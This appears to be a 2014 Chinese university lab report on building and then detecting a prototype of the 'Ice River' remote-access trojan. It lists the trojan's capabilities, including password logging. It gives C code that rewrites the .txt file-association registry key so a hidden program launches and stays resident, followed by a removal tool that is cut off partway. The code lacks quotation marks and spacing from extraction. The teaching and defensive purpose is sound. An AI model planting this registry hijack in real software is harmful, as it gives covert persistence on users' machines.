沈阳工程学院学生实验报告实验室名称:信息学院网络安全实验室实验课程名称:网络安全技术实验项目名称:实验二程序内存驻留与木马原型班级:姓名:学号:实验日期:2014年3月21日实验台编号:34指导教师:批阅教师(签字):成绩:一.实验目的理解内存驻留程序,编写程序实现内存驻留;理解“冰河”原型木马,编写程序实现简单的木马。二.实验内容编程实现:“冰河”原型;编程判断是否中了“冰河”原型木马,并能查杀木马。三.实验原理“冰河“木马开发于1999年,在设计之初,开发者的本意是编写一个功能强大的远程控制软件。但一经推出,就依靠其强大的功能成为了黑客们发动入侵的工具,并结束了国外木马一统天下的局面,成为国产木马的标志和代名词。在2006年之前,冰河在国内一直是不可动摇的领军木马,在国内没用过冰河的人等于没用过木马,由此可见冰河木马在国内的影响力之巨大。1)自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);2)记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;3)获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;4)限制系统功能:包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册表等多项功能限制;5)远程文件操作:包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏览文本文件、远程打开文件(提供了四中不同的打开方式——正常方式、最大化、最小化和隐藏方式)等多项文件操作功能;6)注册表操作:包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作功能;7)发送信息:以四种常用图标向被控端发送简短信息;8)点对点通讯:以聊天室形式同被控端进行在线交谈。从一定程度上可以说冰河是最有名的木马了,就连刚接触电脑的用户也听说过它。虽然许多杀毒软件可以查杀它,但国内仍有几十万中冰河的电脑存在!作为木马,冰河创造了最多人使用、最多人中弹的奇迹!四.实验软硬件环境虚拟机中windows2000环境。五.实验步骤第一步:“冰河”木马的文本文件关联采用“冰河”将自己与文本文件的打开方式相关联的方法实现植入“冰河”。关联的方法就是使用注册表“HKEY_CLASSES_ROOT”主键下的“txtfile\shell\open\command”键。程序要实现的功能是:当用户双击打开一个文本文件,先启动要驻留的程序,然后再启动记事本打开这个文本文件。这包括两方面内容,一是编程修改注册表,二是编程实现程序自动驻留。运行本程序前,请先确定系统是否中了“冰河”。有查看注册表内容和程序两种判断方式。分别如图1和图2所示。图1通过注册表判断未中“冰河”图2通过程序判断未中“冰河”【程序源代码】#includestdio.h#includewindows.h//结构WNDCLASS包含一个窗口类的全部信息WNDCLASSwc;HWNDh_wnd;MSGmsg;//冰河木马修改注册表函数IceRiverEditReg声明boolIceRiverEditReg(void);//消息处理函数wndProc的声明longWINAPIWindowProc(HWND,UINT,WPARAM,LPARAM);//winMain函数的功能是被系统调用,作为一个32位应用程序的入口点。intPASCALWinMain(HINSTANCEh_CurInstance,HINSTANCEh_PrevInstance,LPSTRp_CmdLine,intm_Show){//修改注册表boolbRegEditFlag=IceRiverEditReg();//以下被注释的代码为判定注册表是否修改成功/*if(bRegEditFlag==true)MessageBox(NULL,注册表修改成功!,,MB_OK);*///bSsuccess用于保存CreateProcess函数返回值BOOLbSuccess;//PROCESS_INFORMATION结构返回有关新进程及其主线程的信息。PROCESS_INFORMATIONpiProcInfo;//STARTUPINFO结构用于指定新进程的主窗口特性。STARTUPINFOInfo;//以下为Info的相关成员,详见MSDNInfo.cb=sizeof(STARTUPINFO);Info.lpReserved=NULL;Info.lpDesktop=NULL;Info.lpTitle=NULL;Info.cbReserved2=0;Info.lpReserved2=NULL;//lpAppName用来保存双击打开的txt文件的绝对路径,并在之前添加命令//notepad.exe,其目标形式如:notepad.exec:\abc.txtcharlpAppName[100];strcpy(lpAppName,notepad.exe);//MessageBox(NULL,lpAppName,,MB_OK);if(strcmp(p_CmdLine,)!=0)strcat(lpAppName,p_CmdLine);MessageBox(NULL,lpAppName,,MB_OK);//WIN32API函数CreateProcess用来创建一个新的进程和它的主线程,这个新//进程运行指定的可执行文件。在此为创建进程notepad.exebSuccess=CreateProcess(NULL,lpAppName,NULL,NULL,false,NULL,NULL,NULL,&Info,&piProcInfo);//初始化wndclass结构变量wc.lpfnWndProc=WindowProc;wc.hInstance=h_CurInstance;wc.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);wc.lpszClassName=TheMainClass;//注册WndClass结构变量RegisterClass(&wc);//创建窗口h_wnd=CreateWindow(TheMainClass,OurfirstWindow,WS_OVERLAPPEDWINDOW,0,0,400,500,0,0,h_CurInstance,0);//显示窗口ShowWindow(h_wnd,SW_HIDE);//消息循环while(GetMessage(&msg,NULL,0,0))DispatchMessage(&msg);return(msg.wParam);}//定义消息处理函数longWINAPIWindowProc(HWNDh_wnd,UINTWinMsg,WPARAMw_param,LPARAMl_param){switch(WinMsg){caseWM_DESTROY://PostQuitMessage函数向系统表明有个线程有终止请求PostQuitMessage(0);return0;}//DefWindowProc为应用程序没有处理的任何窗口消息提供缺省的处理returnDefWindowProc(h_wnd,WinMsg,w_param,l_param);}//IceRiverEditReg函数用于修改注册表HKEY_CLASSES_ROOT//\\txtfile\\shell\\open\\command健值,将其修改为://C:\\IceRiver\\Debug\\IceRiver.exe%1,修改成功则返回true,//失败则返回falseboolIceRiverEditReg(void){HKEYhKey1;LONGlRetCode;lRetCode=RegOpenKeyEx(HKEY_CLASSES_ROOT,txtfile\\shell\\open\\command,0,KEY_WRITE,&hKey1);if(lRetCode!=ERROR_SUCCESS){returnfalse;}lRetCode=RegSetValueEx(hKey1,,0,REG_EXPAND_SZ,(byte*)C:\\IceRiver\\Debug\\IceRiver.exe%1,50);if(lRetCode!=ERROR_SUCCESS){returnfalse;}returntrue;}编译运行程序后,对应位置注册表健值被修改,如图3所示。图3植入“冰河”后注册表被修改将编译好的可执行文件改名为“IceRiver.exe”,并把“IceRiver.exe”拷贝到虚拟机操作系统的“C:\IceRiver\Debug\”目录中,之后打开任一后缀为.txt的文本文件,通过任务管理器中进程的变化,可以发现打开txt文件的同时,除了添加NOTEPAD.exe进程外还添加了IceRiver.exe进程。关闭txt文件后,我们可以发现进程NOTEPAD.exe被关闭,但是IceRiver.exe进程依旧存在,这就达到了程序自动驻留的目的。双击txt文件后后台运行的命令,如图4所示。图4双击txt文件时提示后台命令第二步:查杀“冰河”木马查杀“冰河”木马程序源代码如下:#includestdio.h#includewindows.h#includestring.h//常量字符指针RegValue指向字符串%SystemRoot%\\system32\\NOTEPAD.EXE%1,constchar*RegValue=%SystemRoot%\\system32\\NOTEPAD.EXE%1;//声明有效路径获取函数GetValidPathchar*GetValidPath(char*GetPath);//声明删除关联函数DeleteConnectionvoidDeleteConnection(char*DelPath);//声明注册表恢复函数RecoverRegvoidRecoverReg(HKEYKey,LONGRetCode);intmain(void){//获取注册表HKEY_CLASSES_ROOT,\\txtfile\\shell\\open\\command健值HKEYhKEY;LPCTSTRdata_Set=txtfile\\shell\\open\\command;longret0=(RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set,0,KEY_READ,&hKEY));//如果无法打开hKEY,则终止程序的执行if(ret0!=ERROR_SUCCESS){return0;}//如没被修改时为://%SystemRoot%\\system32\\NOTEPAD.EXE%1LPBYTEowner_Get=newBYTE[80];DWORDtype_1=REG_EXPAND_SZ;DWORDcbData_1=80;longret1=RegQueryValueEx(hKEY,NULL,NULL,&type_1,owner_Get,&cbData_1);if(ret1!=ERROR_SUCCESS){return0;}//判断对应健值是否被修改,即判断是否中了冰河if(strcmp((constchar*)owner_Get,RegValue)==0)printf(没有中冰河\n);else{printf(可能中了冰河\n);char*path=(char*)owner_Get;path=GetValidPath(path);DeleteConnection(path);RecoverReg(hKEY,ret1);}}//获取注册表HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command//健值表示的有效路径。如若键值为//%SystemRoot%\\system32\\NOTE